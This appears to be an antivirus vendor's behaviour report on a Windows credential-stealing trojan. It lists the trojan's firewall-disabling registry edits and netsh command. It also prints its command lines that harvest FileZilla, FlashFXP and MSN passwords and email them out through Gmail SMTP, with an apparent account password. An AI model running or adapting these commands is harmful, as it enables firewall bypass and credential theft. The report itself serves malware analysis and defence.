Technical Information
Malicious functions:
To bypass firewall, removes or modifies the following registry keys:
- [<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'DoNotAllowExceptions' = '00000000'
- [<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'
Creates and executes the following:
- %PROGRAM_FILES%\Internet Explorer\ iexplore.exe -from user_owned@gmail.com -to user_hug@gmail.com -subject FileZilla (.xml) -attachment "%PROGRAM_FILES%"\FileZilla\FileZilla.xml -server smtp.gmail.com:465 -ssl true -username server.smtp.server@gmail.com -password YBujCKqXLgYbnd
- <SYSTEM32>\ csrss.exe -r -j "%HOMEPATH%\Local Settings\Temp"\ffxp.zip "%PROGRAM_FILES%"\FlashFXP\*.dat
- %PROGRAM_FILES%\Internet Explorer\ iexplore.exe -from user_owned@gmail.com -to user_hug@gmail.com -subject FlashFXP (.dat) -attachment "%HOMEPATH%\Local Settings\Temp"\ffxp.zip -server smtp.gmail.com:465 -ssl true -username server.smtp.server@gmail.com -password YBujCKqXLgYbnd
- <SYSTEM32>\ svchost.exe
- %PROGRAM_FILES%\Internet Explorer\ iexplore.exe -from user_owned@gmail.com -to user_hug@gmail.com -subject Compte(s) MSN -attachment <SYSTEM32>\Pass.txt -server smtp.gmail.com:465 -ssl true -username server.smtp.server@gmail.com -password YBujCKqXLgYbnd
- %PROGRAM_FILES%\Internet Explorer\ iexplore.exe -from user_owned@gmail.com -to user_hug@gmail.com -subject FileZilla registre -attachment "%HOMEPATH%\Local Settings\Temp"\fz.txt -server smtp.gmail.com:465 -ssl true -username server.smtp.server@gmail.com -password YBujCKqXLgYbnd
Executes the following:
- <SYSTEM32>\reg.exe export "HKEY_CURRENT_USER\Software\FileZilla\Recent Servers" "%HOMEPATH%\Local Settings\Temp"\fz.txt
- <SYSTEM32>\netsh.exe firewall set opmode disable
- <SYSTEM32>\ntvdm.exe -f -i1 -w -a <SYSTEM32>\krnl386.exe
Injects code into
the following system processes:
- <SYSTEM32>\ntvdm.exe
Searches for registry branches where third party applications store passwords:
- [<HKCU>\Software\Microsoft\MSNMessenger]
- [<HKCU>\Software\Microsoft\MessengerService]
Modifies file system :
Creates the following files:
- %WINDIR%\Microsoft.NET\Framework\v1.1.4322\CONFIG\security.config.cch.new
- <SYSTEM32>\Pass.txt
- %WINDIR%\Temp\scs2.tmp
- %WINDIR%\Microsoft.NET\Framework\v1.1.4322\CONFIG\enterprisesec.config.cch.new
- %APPDATA%\Microsoft\CLR Security Config\v1.1.4322\security.config.cch.new
- %APPDATA%\Microsoft\CLR Security Config\v1.1.4322\security.config.new
- <LS_APPDATA>\ApplicationHistory\ iexplore.exe.e2c06d0a.ini
- %WINDIR%\Temp\scs1.tmp
- %TEMP%\fichier.exe
- %TEMP%\$inst\temp_0.tmp
- %TEMP%\$inst\2.tmp
- %PROGRAM_FILES%\Internet Explorer\ iexplore.exe
- <SYSTEM32>\ csrss.exe
- <SYSTEM32>\ svchost.exe
- <SYSTEM32>\MSCOMCTL.OCX
Deletes the following files:
- %WINDIR%\Microsoft.NET\Framework\v1.1.4322\CONFIG\enterprisesec.config.cch.3108.140265
- %WINDIR%\Microsoft.NET\Framework\v1.1.4322\CONFIG\security.config.cch.3200.147593
- %APPDATA%\Microsoft\CLR Security Config\v1.1.4322\security.config.cch.3260.163328
- %WINDIR%\Microsoft.NET\Framework\v1.1.4322\CONFIG\security.config.cch.3108.140265
- %TEMP%\$inst\temp_0.tmp
- %WINDIR%\Temp\scs1.tmp
- %WINDIR%\Temp\scs2.tmp
Moves the following system files:
- from %WINDIR%\Microsoft.NET\Framework\v1.1.4322\CONFIG\enterprisesec.config.cch to %WINDIR%\Microsoft.NET\Framework\v1.1.4322\CONFIG\enterprisesec.config.cch.3108.140265
- from %WINDIR%\Microsoft.NET\Framework\v1.1.4322\CONFIG\security.config.cch to %WINDIR%\Microsoft.NET\Framework\v1.1.4322\CONFIG\security.config.cch.3108.140265
Network activity:
Connects to:
- 'sm##.gmail.com':465
- 'ha#####24.ifrance.com':80
- 'localhost':1037
UDP:
- DNS ASK sm##.gmail.com
- DNS ASK ha#####24.ifrance.com
Miscellaneous:
Searches for the following windows:
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebcheckMonitor' WindowName: ''
- ClassName: 'Shell_TrayWnd' WindowName: ''
- ClassName: 'WOWFaxClass' WindowName: ''